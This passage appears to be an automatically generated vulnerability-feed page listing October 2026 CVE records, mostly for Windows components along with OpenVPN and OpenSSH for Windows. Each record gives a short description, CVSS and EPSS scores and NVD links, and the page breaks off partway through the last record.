https://kevwire.com/record/CVE-2026-85366
Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85366).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85366&date=2026-10-25).
Sources:
NVD CVE-2026-85366: https://nvd.nist.gov/vuln/detail/CVE-2026-85366
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85366&date=2026-10-25
Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85364
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85364).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85364&date=2026-10-25).
Sources:
NVD CVE-2026-85364: https://nvd.nist.gov/vuln/detail/CVE-2026-85364
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85364&date=2026-10-25
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Release of invalid pointer or reference in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85362
Release of invalid pointer or reference in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Release of invalid pointer or reference in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85362).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85362&date=2026-10-25).
Sources:
NVD CVE-2026-85362: https://nvd.nist.gov/vuln/detail/CVE-2026-85362
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85362&date=2026-10-25
Release of invalid pointer or reference in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85361
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85361).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85361&date=2026-10-25).
Sources:
NVD CVE-2026-85361: https://nvd.nist.gov/vuln/detail/CVE-2026-85361
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85361&date=2026-10-25
Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper control of generation of code ('code injection') in Windows Performance Monitor allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85359
Improper control of generation of code ('code injection') in Windows Performance Monitor allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper control of generation of code ('code injection') in Windows Performance Monitor allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85359).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85359&date=2026-10-25).
Sources:
NVD CVE-2026-85359: https://nvd.nist.gov/vuln/detail/CVE-2026-85359
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85359&date=2026-10-25
Improper control of generation of code ('code injection') in Windows Performance Monitor allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85358
Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85358).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85358&date=2026-10-25).
Sources:
NVD CVE-2026-85358: https://nvd.nist.gov/vuln/detail/CVE-2026-85358
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85358&date=2026-10-25
Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Volume Manager Extension Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85356
Out-of-bounds read in Windows Volume Manager Extension Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows Volume Manager Extension Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85356).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85356&date=2026-10-25).
Sources:
NVD CVE-2026-85356: https://nvd.nist.gov/vuln/detail/CVE-2026-85356
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85356&date=2026-10-25
Out-of-bounds read in Windows Volume Manager Extension Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Inclusion of functionality from untrusted control sphere in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85355
Inclusion of functionality from untrusted control sphere in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Inclusion of functionality from untrusted control sphere in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85355).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85355&date=2026-10-25).
Sources:
NVD CVE-2026-85355: https://nvd.nist.gov/vuln/detail/CVE-2026-85355
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85355&date=2026-10-25
Inclusion of functionality from untrusted control sphere in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85354
Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85354).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85354&date=2026-10-25).
Sources:
NVD CVE-2026-85354: https://nvd.nist.gov/vuln/detail/CVE-2026-85354
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85354&date=2026-10-25
Use after free in Windows Error Reporting allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Print Spooler Components allows an unauthorized attacker to disclose information over a network.
https://kevwire.com/record/CVE-2026-85353
Out-of-bounds read in Windows Print Spooler Components allows an unauthorized attacker to disclose information over a network. (Oct 13, 2026).
Out-of-bounds read in Windows Print Spooler Components allows an unauthorized attacker to disclose information over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85353).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85353&date=2026-10-25).
Sources:
NVD CVE-2026-85353: https://nvd.nist.gov/vuln/detail/CVE-2026-85353
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85353&date=2026-10-25
Out-of-bounds read in Windows Print Spooler Components allows an unauthorized attacker to disclose information over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85352
Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85352).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85352&date=2026-10-25).
Sources:
NVD CVE-2026-85352: https://nvd.nist.gov/vuln/detail/CVE-2026-85352
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85352&date=2026-10-25
Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper link resolution before file access ('link following') in Windows Hyper-V allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85343
Improper link resolution before file access ('link following') in Windows Hyper-V allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper link resolution before file access ('link following') in Windows Hyper-V allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85343).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85343&date=2026-10-25).
Sources:
NVD CVE-2026-85343: https://nvd.nist.gov/vuln/detail/CVE-2026-85343
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85343&date=2026-10-25
Improper link resolution before file access ('link following') in Windows Hyper-V allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85342
Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85342).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85342&date=2026-10-25).
Sources:
NVD CVE-2026-85342: https://nvd.nist.gov/vuln/detail/CVE-2026-85342
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85342&date=2026-10-25
Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows USB Video Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85341
Heap-based buffer overflow in Windows USB Video Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows USB Video Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85341).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85341&date=2026-10-25).
Sources:
NVD CVE-2026-85341: https://nvd.nist.gov/vuln/detail/CVE-2026-85341
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85341&date=2026-10-25
Heap-based buffer overflow in Windows USB Video Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine
https://kevwire.com/record/CVE-2026-85339
Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine (Oct 13, 2026).
Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85339).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85339&date=2026-10-25).
Sources:
NVD CVE-2026-85339: https://nvd.nist.gov/vuln/detail/CVE-2026-85339
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85339&date=2026-10-25
Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85318
Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85318).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85318&date=2026-10-25).
Sources:
NVD CVE-2026-85318: https://nvd.nist.gov/vuln/detail/CVE-2026-85318
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85318&date=2026-10-25
Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The fix for CVE-2026-12996 was incomplete.
https://kevwire.com/record/CVE-2026-84471
The fix for CVE-2026-12996 was incomplete. (Oct 14, 2026).
The fix for CVE-2026-12996 was incomplete. A use-after-free in OpenVPN 2.6.0 through 2.6.22 and 2.7_alpha1 through 2.7.7 allows remote authenticated peers to potentially cause a denial of service or leak memory via crafted packets during TLS session promotion or expiry.
CVSS 7.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84471).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84471&date=2026-10-25).
Sources:
NVD CVE-2026-84471: https://nvd.nist.gov/vuln/detail/CVE-2026-84471
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84471&date=2026-10-25
The fix for CVE-2026-12996 was incomplete. A use-after-free in OpenVPN 2.6.0 through 2.6.22 and 2.7_alpha1 through 2.7.7 allows remote authenticated peers to potentially cause a denial of service or leak memory via crafted packets during TLS session promotion or expiry.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Relative path traversal in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83923
Relative path traversal in OpenSSH for Windows allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Relative path traversal in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83923).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83923&date=2026-10-25).
Sources:
NVD CVE-2026-83923: https://nvd.nist.gov/vuln/detail/CVE-2026-83923
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83923&date=2026-10-25
Relative path traversal in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83922
Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83922).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83922&date=2026-10-25).
Sources:
NVD CVE-2026-83922: https://nvd.nist.gov/vuln/detail/CVE-2026-83922
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83922&date=2026-10-25
Use after free in Windows Direct Composition allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83921
Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83921).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83921&date=2026-10-25).
Sources:
NVD CVE-2026-83921: https://nvd.nist.gov/vuln/detail/CVE-2026-83921
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83921&date=2026-10-25
Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83920
Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83920).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83920&date=2026-10-25).
Sources:
NVD CVE-2026-83920: https://nvd.nist.gov/vuln/detail/CVE-2026-83920
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83920&date=2026-10-25
Heap-based buffer overflow in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Internet Messaging API allows an authorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-83919
Heap-based buffer overflow in Microsoft Internet Messaging API allows an authorized attacker to execute code locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Internet Messaging API allows an authorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83919).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83919&date=2026-10-25).
Sources:
NVD CVE-2026-83919: https://nvd.nist.gov/vuln/detail/CVE-2026-83919
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83919&date=2026-10-25
Heap-based buffer overflow in Microsoft Internet Messaging API allows an authorized attacker to execute code locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83918
Integer overflow or wraparound in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Integer overflow or wraparound in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83918).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83918&date=2026-10-25).
Sources:
NVD CVE-2026-83918: https://nvd.nist.gov/vuln/detail/CVE-2026-83918
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83918&date=2026-10-25
Integer overflow or wraparound in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows ALPC allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83917
Use after free in Windows ALPC allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows ALPC allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83917).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83917&date=2026-10-25).
Sources:
NVD CVE-2026-83917: https://nvd.nist.gov/vuln/detail/CVE-2026-83917
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83917&date=2026-10-25
Use after free in Windows ALPC allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Double free in Windows Error Reporting allows an authorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-83916
Double free in Windows Error Reporting allows an authorized attacker to execute code locally. (Oct 13, 2026).
